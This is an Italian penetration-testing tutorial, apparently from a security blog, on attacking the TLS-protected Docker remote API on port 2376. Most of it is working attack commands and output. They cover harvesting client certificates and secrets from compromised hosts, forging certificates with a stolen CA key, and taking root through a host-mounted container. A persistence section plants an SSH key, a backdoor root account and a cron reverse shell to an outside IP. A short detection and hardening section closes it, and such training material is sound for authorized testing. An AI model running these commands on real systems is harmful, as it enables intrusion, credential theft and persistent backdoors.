networking

Porta 2376 Docker API TLS: Pentest e mTLS

Porta 2376 Docker API TLS: Pentest e mTLS

Porta 2376 Docker API TLS nel pentest: TLS enumeration, mutual TLS, furto di client certificate, misconfigurazioni e accesso remoto al daemon

  • Pubblicato il 2026-04-13
  • Tempo di lettura: 5 min

Executive Summary — La porta 2376 è la versione TLS dell’API Docker remota. Mentre la porta 2375 espone l’API senza alcuna protezione (root in 2 minuti), la 2376 richiede mutual TLS: il client deve presentare un certificato firmato dalla CA del Docker daemon. Questo la rende significativamente più sicura — ma non immune. Nel pentest, la 2376 si attacca tramite: certificati client rubati da host compromessi, CA key compromessa, TLS misconfiguration (verifica disabilitata) e certificati scaduti ancora accettati. Se ottieni un certificato valido, l’exploitation è identica alla 2375 — root sull’host in pochi secondi.

Cos’è la porta 2376 (Docker API TLS)

  • La 2376 espone la Docker API con TLS mutual authentication — servono ca.pem, cert.pem, key.pem
  • Se trovi questi certificati su host compromessi (CI/CD, workstation DevOps, backup, NFS) → accesso root al Docker host
  • Se il daemon usa --tls senza --tlsverify → accesso senza certificato client

Differenza tra Porta 2375 e 2376 #

AspettoPorta 2375Porta 2376
ProtocolloHTTP chiaroHTTPS (TLS)
AutenticazioneNessunaMutual TLS (certificato client)
Rischio se espostaCritico — chiunque ha rootAlto — serve il certificato
ExploitationDiretta, immediataRichiede cert o bypass TLS
FrequenzaRara (errore grave)Comune in ambienti DevOps

Nella pratica, un Docker daemon configurato “correttamente” usa la 2376. Ma i certificati client devono essere distribuiti a chi gestisce Docker da remoto — sviluppatori, CI/CD, automation tool. Ogni copia dei certificati è un potenziale punto di compromissione.

Come Funziona il Mutual TLS Docker #

text
Docker Client                           Docker Daemon (:2376)
┌──────────────┐                        ┌──────────────────┐
│ cert.pem     │ ── TLS handshake ──►  │ server-cert.pem  │
│ key.pem      │                        │ server-key.pem   │
│ ca.pem       │ ◄── mutual verify ──  │ ca.pem           │
└──────────────┘                        └──────────────────┘

Il client presenta cert.pem firmato dalla CA. Il daemon verifica la firma. Il client verifica il certificato del server. Se entrambe le verifiche passano → connessione stabilita con i permessi completi dell’API Docker (equivalente a root sull’host).

1. Enumerazione #

Nmap #

bash
nmap -sV -p 2376 --script=ssl-cert,ssl-enum-ciphers 10.10.10.40
text
PORT     STATE SERVICE VERSION
2376/tcp open  docker  Docker 24.0.7
| ssl-cert: Subject: commonName=docker-host-01
|   Subject Alternative Name: DNS:docker-host-01, IP:10.10.10.40
|   Issuer: commonName=Docker TLS CA
|   Not valid before: 2025-01-01
|   Not valid after:  2026-01-01
| ssl-enum-ciphers:
|   TLSv1.2:
|     TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 - A

Ispezione certificato #

bash
echo | openssl s_client -connect 10.10.10.40:2376 2>/dev/null | openssl x509 -noout -text
text
Subject: CN = docker-host-01
Subject Alternative Name:
    DNS:docker-host-01, DNS:docker-host-01.corp.internal, IP:10.10.10.40
Issuer: CN = Docker TLS CA

Intelligence dal certificato:

  • CN e SAN: hostname del Docker host, dominio interno
  • Issuer: CA custom → i certificati sono stati generati internamente
  • Validity: scadenza → se scaduto e il daemon lo accetta comunque, è un finding

Test di connessione #

bash
# Senza certificato — deve fallire
curl -sk https://10.10.10.40:2376/version

Se ricevi un errore TLS (alert bad certificate) → mutual TLS funziona.

Se ricevi una risposta JSON → il daemon non verifica il certificato client. Exploitation immediata come la porta 2375.

2. Ottenere i Certificati Client #

Il cuore dell’attacco alla 2376: trovare ca.pem, cert.pem e key.pem.

Dove cercare su host compromessi #

Directory standard ~/.docker/:

bash
find /home -path "*/.docker/*.pem" 2>/dev/null
find /root -path "*/.docker/*.pem" 2>/dev/null
text
/home/devops/.docker/ca.pem
/home/devops/.docker/cert.pem
/home/devops/.docker/key.pem

Variabili d’ambiente Docker:

bash
env | grep DOCKER
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE "DOCKER_CERT|DOCKER_HOST|DOCKER_TLS"
text
DOCKER_HOST=tcp://10.10.10.40:2376
DOCKER_TLS_VERIFY=1
DOCKER_CERT_PATH=/home/devops/.docker

Le variabili d’ambiente indicano esattamente dove sono i certificati e quale host Docker controllano.

Server CI/CD (Jenkins, GitLab CI, GitHub Actions):

bash
# Jenkins
find /var/lib/jenkins -name "*.pem" 2>/dev/null
cat /var/lib/jenkins/.docker/cert.pem

# GitLab Runner
find /etc/gitlab-runner -name "*.pem" 2>/dev/null
find /home/gitlab-runner -name "*.pem" 2>/dev/null

# Config files con path ai certificati
grep -riE "DOCKER_CERT|tlscacert|tlscert|tlskey" /var/lib/jenkins/ /etc/gitlab-runner/ /opt/ 2>/dev/null

I server CI/CD buildano e deployano container — hanno quasi sempre certificati Docker. Compromettere Jenkins → trovare i cert → root su tutti i Docker host del pipeline.

Backup e share di rete:

bash
# NFS
showmount -e 10.10.10.40
# Mount e cerca .docker/ nelle home

Per le tecniche NFS di mount e UID spoofing.

bash
# SMB
smbclient //10.10.10.40/DevOps -U j.smith
smb: \> recurse; prompt; mget *.pem

Config management (Ansible, Puppet, Chef):

bash
find / -name "*.yml" -o -name "*.yaml" 2>/dev/null | xargs grep -l "cert.pem\|key.pem\|tlskey" 2>/dev/null

I playbook Ansible distribuiscono certificati Docker ai nodi — il server Ansible ha tutti i certificati.

Git repository (errore comune):

bash
# Cerca certificati committati per errore
find / -name ".git" -type d 2>/dev/null | while read gitdir; do
    cd "$(dirname $gitdir)"
    git log --all --diff-filter=A -- "*.pem" 2>/dev/null | head -5
done

Anche se rimossi dal repository corrente, i certificati restano nella history Git.

Kubernetes Secrets:

bash
kubectl get secrets -A | grep -iE "docker|tls|registry"
kubectl get secret docker-tls -n devops -o jsonpath='{.data.cert\.pem}' | base64 -d

Per le tecniche Kubernetes: container escape.

Zookeeper / Consul:

Se l’infrastruttura usa Zookeeper o Consul per la configurazione, i certificati Docker possono essere memorizzati negli znodes o key-value store.

3. Exploitation con Certificato Rubato #

Con ca.pem, cert.pem e key.pem, l’exploitation è identica alla porta 2375.

Docker CLI #

bash
export DOCKER_HOST=tcp://10.10.10.40:2376
export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=/tmp/stolen_certs/

# Enumera
docker ps
docker images
docker info

Root sull’host #

bash
docker --tlsverify \
  --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem \
  -H tcp://10.10.10.40:2376 \
  run -v /:/mnt --rm -it alpine chroot /mnt bash
text
root@container:/# id
uid=0(root) gid=0(root)

root@container:/# cat /etc/shadow
root:$6$abc$hash...:19000:0:99999:7:::

root@container:/# cat /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...

Root completo sull’host. Per le tecniche post-exploitation: linux enumeration, privilege escalation.

Con curl (senza Docker CLI) #

bash
# Lista container
curl -sk --cert cert.pem --key key.pem --cacert ca.pem \
  https://10.10.10.40:2376/containers/json
bash
# Crea container con host mount
curl -sk --cert cert.pem --key key.pem --cacert ca.pem \
  -X POST -H "Content-Type: application/json" \
  https://10.10.10.40:2376/containers/create \
  -d '{"Image":"alpine","Cmd":["cat","/mnt/etc/shadow"],"HostConfig":{"Binds":["/:/mnt"]}}'
bash
# Avvia
curl -sk --cert cert.pem --key key.pem --cacert ca.pem \
  -X POST https://10.10.10.40:2376/containers/CONTAINER_ID/start

# Leggi output
curl -sk --cert cert.pem --key key.pem --cacert ca.pem \
  https://10.10.10.40:2376/containers/CONTAINER_ID/logs?stdout=true

Persistence #

bash
# Aggiungi chiave SSH a root
docker ... run -v /:/mnt --rm alpine sh -c \
  'echo "ssh-rsa AAAA..." >> /mnt/root/.ssh/authorized_keys'

# Crea utente backdoor
docker ... run -v /:/mnt --rm alpine sh -c \
  'echo "backdoor:\$6\$xyz\$hash:0:0::/root:/bin/bash" >> /mnt/etc/passwd'

# Modifica crontab
docker ... run -v /:/mnt --rm alpine sh -c \
  'echo "* * * * * root bash -c \"bash -i >& /dev/tcp/10.10.10.200/4444 0>&1\"" >> /mnt/etc/crontab'

4. TLS Misconfiguration — Bypass Senza Certificato #

–tls senza –tlsverify #

La misconfiguration più comune. Il daemon Docker è avviato con:

text
dockerd --tls --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem

Invece di:

text
dockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem

--tls abilita TLS per cifrare il traffico ma non verifica il certificato client. Chiunque si connette:

bash
curl -sk https://10.10.10.40:2376/version

Se risponde con il JSON della versione → nessuna mutual auth → exploitation diretta.

CA key compromessa — Genera nuovi certificati #

Se trovi ca-key.pem (la chiave privata della CA):

bash
# Cerca
find / -name "ca-key.pem" -o -name "ca.key" 2>/dev/null

Spesso è nella stessa directory dei certificati server:

bash
ls /etc/docker/tls/
# ca.pem  ca-key.pem  server-cert.pem  server-key.pem

Con la CA key, generi un certificato client legittimo:

bash
openssl genrsa -out new-key.pem 4096

openssl req -new -key new-key.pem -out new.csr -subj "/CN=legitimate-client"

openssl x509 -req -in new.csr -CA ca.pem -CAkey ca-key.pem \
  -CAcreateserial -out new-cert.pem -days 365
bash
# Connettiti con il certificato generato
docker --tlsverify --tlscacert=ca.pem --tlscert=new-cert.pem --tlskey=new-key.pem \
  -H tcp://10.10.10.40:2376 ps

Certificato scaduto ma accettato #

bash
openssl x509 -in cert.pem -noout -dates
text
notAfter=Jan  1 00:00:00 2024 GMT

Scaduto, ma prova comunque. Alcuni daemon non verificano la scadenza.

5. Detection & Hardening #

Blue Team #

IndicatoreCosa cercare
Connessioni da IP non notiLog Docker daemon con CN del certificato
Container con bind mount /Alert immediato — non è mai legittimo
Creazione container privilegiati--privileged da API remota
Certificati rubati in usoConfronta CN/serial con l’inventario

Hardening #

  • Sempre --tlsverify — mai solo --tls
  • CA key offline — non sullo stesso host del daemon
  • Certificati a scadenza breve (30-90 giorni) con rotazione automatica
  • CRL (Certificate Revocation List) per invalidare certificati compromessi
  • Firewall — 2376 raggiungibile solo da IP autorizzati
  • Docker socket Unix preferito se non serve accesso remoto
  • Audit log — logga ogni operazione API con CN del certificato client
  • Mai committare certificati in Git — usa secret manager (Vault, AWS Secrets Manager)
  • Authorization plugin — Docker supporta plugin che limitano le operazioni per certificato

6. Cheat Sheet Finale #

AzioneComando
Nmapnmap -sV -p 2376 --script=ssl-cert target
Cert infoopenssl s_client -connect target:2376
Test senza certcurl -sk https://target:2376/version
Test con certcurl -sk --cert cert.pem --key key.pem --cacert ca.pem https://target:2376/version
Docker CLIDOCKER_HOST=tcp://target:2376 DOCKER_TLS_VERIFY=1 docker ps
Root shelldocker ... run -v /:/mnt --rm -it alpine chroot /mnt bash
Cerca certfind / -name "*.pem" | grep -i docker
Cerca envenv | grep DOCKER
Genera cert da CA keyopenssl x509 -req -in new.csr -CA ca.pem -CAkey ca-key.pem ...
Verifica scadenzaopenssl x509 -in cert.pem -noout -dates

Riferimento: Docker TLS documentation, HackTricks Docker, container escape. Uso esclusivo in ambienti autorizzati. https://forums.docker.com/

hackita.it/supportohackita.it/servizi.

#Docker API TLS #Mutual TLS #Client Certificate

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.